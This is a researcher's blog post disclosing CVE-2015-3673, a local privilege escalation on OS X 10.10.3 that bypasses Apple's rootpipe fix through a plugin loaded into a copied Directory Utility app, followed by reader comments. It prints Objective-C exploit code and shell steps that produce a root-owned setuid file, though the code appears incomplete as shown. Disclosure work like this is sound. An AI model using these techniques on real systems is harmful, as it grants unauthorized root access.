Exploiting rootpipe again

Background and acknowledgement

This full disclosure is based on my discovery of a privilege escalation vulnerability in Apple OS X called rootpipe. Read my full disclosure on rootpipe here for some background info.

Big thanks to Patrick Wardle who inspired me to start new investigations, by saying that he found a way to re-abuse rootpipe after the patch in 10.10.3. When Apple released the details of OS X 10.10.4 yesterday, it turned out that we’ve both reported the same issue to them, CVE-2015-3673.

Apples fix in 10.10.3 was to require a special entitlement “com.apple.private.admin.writeconfig” for all binaries accessing the writeconfig XPC service that rootpipe uses. They didn’t change much in the interface of the XPC service. This means that entitled applications can still (among other things) write files with arbitrary path/permissions. Shortly after my full disclosure of rootpipe (when OS X 10.10.3 had been released), Patrick Wardle wrote on his blog that he found a way to re-abuse rootpipe even after the patch. This made me curious to investigate it a bit more.


The entitlement check was somewhat limited, I guess everyone agreed on that (even Apple?). The XPC service is used by so many different parts of OS X. There are actually 45 binaries in my 10.10.3 system that has the entitlement! If I could make any of these execute the rootpipe exploit code, the fix by Apple could be bypassed. But I can’t modify an existing binary, since this would break the code signature. I can’t assign the entitlement to my own program, since the system only accepts Apple-signed binaries to hold it. I can’t inject new threads in an existing process without being root. This left me with only one option: Can I make an entitled binary load a library with my exploit code? It turns out that I can. Keep reading!

Here is a listing of all files that has the writeconfig entitlement:

/System/Library/CoreServices/Applications/Directory Utility.app/Contents/MacOS/Directory Utility
/System/Library/CoreServices/Applications/Directory Utility.app/Contents/PlugIns/Active Directory.daplug/Contents/MacOS/Active Directory
/System/Library/CoreServices/Applications/Directory Utility.app/Contents/PlugIns/BSD.daplug/Contents/MacOS/BSD
/System/Library/CoreServices/Applications/Directory Utility.app/Contents/PlugIns/LDAPv3.daplug/Contents/MacOS/LDAPv3
/System/Library/CoreServices/Applications/Directory Utility.app/Contents/PlugIns/NIS.daplug/Contents/MacOS/NIS
/System/Library/CoreServices/Setup Assistant.app/Contents/MacOS/Setup Assistant

Note that /usr/sbin/systemsetup, which partly lead to the initial discovery of rootpipe, is in the list.

I looked through a few of them in Hopper, ending up with “Directory Utility”.

Loading it in Hopper, revealed the following method (called when Directory Utility is started):

void -[PluginController loadPlugins](void * self, void * _cmd) {
    r14 = *objc_msgSend;
    [self loadPluginsInDirectory:[[NSBundle mainBundle] builtInPlugInsPath]];
    rax = [self loadPluginsInDirectory:@"/Library/Application Support/Directory Utility/PlugIns/"];

Turns out that Directory Utility will read plugin binaries (as bundles) from two different paths, one under /Library and one within the Directory Utility bundle. I would need root in order to write to these locations. But if I copy the entire Directory Utility bundle to tmp directory, I will get write permission – while the code signature and assigned entitlements will remain.

Here’s a listing of the PlugIns directory of the bundle:

$ ls -l "/System/Library/CoreServices/Applications/Directory Utility.app/Contents/PlugIns/"
total 0
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 Active Directory.daplug
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 BSD.daplug
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 LDAPv3.daplug
drwxr-xr-x  3 root  wheel  102 Sep 10  2014 NIS.daplug

$ cp -R /System/Library/CoreServices/Applications/Directory\ Utility.app /tmp/

$ ls -l /tmp/Directory\ Utility.app/Contents/PlugIns/
total 0
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 Active Directory.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 BSD.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 LDAPv3.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 NIS.daplug

Note the change of ownership, which means we can write to this directory.

Running the rootpipe exploit code

You’ll find my sample exploit code below. I compiled this as a bundle. The bundle name has to have the .daplug suffix and be placed in the PlugIns directory.

#include <dlfcn.h>
#include <objc/objc.h>
#include <objc/runtime.h>
#include <objc/message.h>
#include <Foundation/Foundation.h>

#define PRIV_FWK_BASE "/System/Library/PrivateFrameworks"
#define FWK_BASE "/System/Library/Frameworks"

void __attribute__ ((constructor)) test(void)
    void* p = dlopen(PRIV_FWK_BASE "/SystemAdministration.framework/SystemAdministration", RTLD_NOW);

    if (p != NULL)
        id sharedClient = objc_msgSend(objc_lookUpClass("WriteConfigClient"), @selector(sharedClient));
        objc_msgSend(sharedClient, @selector(authenticateUsingAuthorizationSync:), nil);
        id tool = objc_msgSend(sharedClient, @selector(remoteProxy));

        NSData* data = [NSData dataWithContentsOfFile:@"/tmp/source"];
        objc_msgSend(tool, @selector(createFileWithContents:path:attributes:),
                     @{ NSFilePosixPermissions : @04777 });

Here’s a new listing of the PlugIns directory after copying my exploit bundle there:

$ ls -l /tmp/Directory\ Utility.app/Contents/PlugIns/
total 0
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 Active Directory.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 BSD.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 LDAPv3.daplug
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 NIS.daplug
drwxr-xr-x@ 3 emil  wheel  102 Jul  1 00:05 RootpipeBundle.daplug

Launching the “Directory Utility” in the tmp directory will load the RootpipeBundle immediately and execute the exploit code. The exploit code will copy a file from /tmp/source to /tmp/target. The new file will have root as owner and setuid bit set.

$ ls -l /tmp/
total 0
drwxr-xr-x  3 emil  wheel  102 Jun 30 23:59 Directory Utility.app
-rw-r--r--  1 emil  wheel    1 Jul  1 00:04 source
-rwsrwxrwx  1 root  wheel    1 Jul  1 00:11 target


The fix Apple made for Rootpipe in 10.10.3 was insufficient. Any user in the system (including the guest account) could still exploit the same XPC service functionality to escalate privileges to root.

There are still many binaries that are entitled to communicate with the XPC service. I haven’t had time to search all these for additional vectors to execute code. Apple made more changes in OS X 10.10.4, for instance limiting what directories the entitled binaries may execute from. This means that copying an entitled binary to a tmp directory no longer works.


  • April 8th 2015: Release of OS X 10.10.3
  • April 9th 2015: Rootpipe Full disclosure
  • April 18th 2015: Patrick Wardle writes about his discovery
  • April 27th 2015: Notified Apple about my discovery
  • June 30th 2015: Release of OS X 10.10.4
  • July 1st 2015: Full disclosure of CVE-2015-3673

Security software engineer and researcher, with a passion for both reverse engineering and building secure software implementations (with a know-your-enemy approach).

Tagged with: , ,
Posted in General
7 comments on “Exploiting rootpipe again
  1. william says:

    hi, Thx your nice article.
    How can I make .daplug file? I can’t understand “complie as bundle”.
    Plz help me 🙂


  2. sean says:

    Perhaps you could clear up some confusion on which OS is patched. Apple have provided Security Update 2015-005 for 10.8.5, 10.9.5, 10.10.4. However, the notes say:

    CVE-2015-3671: OS X Mavericks v10.9.5, OS X Yosemite v10.10 to v10.10.3
    CVE-2015-3672: OS X Mavericks v10.9.5, OS X Yosemite v10.10 to v10.10.3
    CVE-2015-3673: OS X Yosemite v10.10 to v10.10.3

    This appear to imply 10.8.5 has not been patched, whilst 10.9.5 has had some patching.

    Is CVE-2015-3673 applicable to 10.9.5 or was this limited to 10.10 only?

    I guess what I’m asking is, after applying Security Update 2015-005, which versions of the OS can be considered to be safe from your discoveries?

    Thanks in advance


    • I made a quick test on 10.9.5, which was vulnerable to CVE-2015-3673, and the exploit described in this article works. After applying 2015-005 it no longer does. So I 10.9 and 10.10 with latest security updates looks safe to me, with regards to rootpipe.


      • sean says:

        Thanks for the clarification and excellent work. Guess we can now wait for your next discovery 😉


  3. Chris says:

    Hello, I am an admitted newbie at programming but have been consistently plagued by admin access “anomolies” in my 2014 macbook pro retina 13. All of the aforementioned services virtually make up my entire system log file with failed and authenticated remote access tools from various servers. There are also several disk volumes that recreate and remname themselves when permissions are changed and when the disk is secureErace. These issues have followed me from Mavericks, Yosemite, and now El Capitain. Care to shed some light? Or at this point remoteaccess this pos and dig around lol.

    Great work by the way!


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: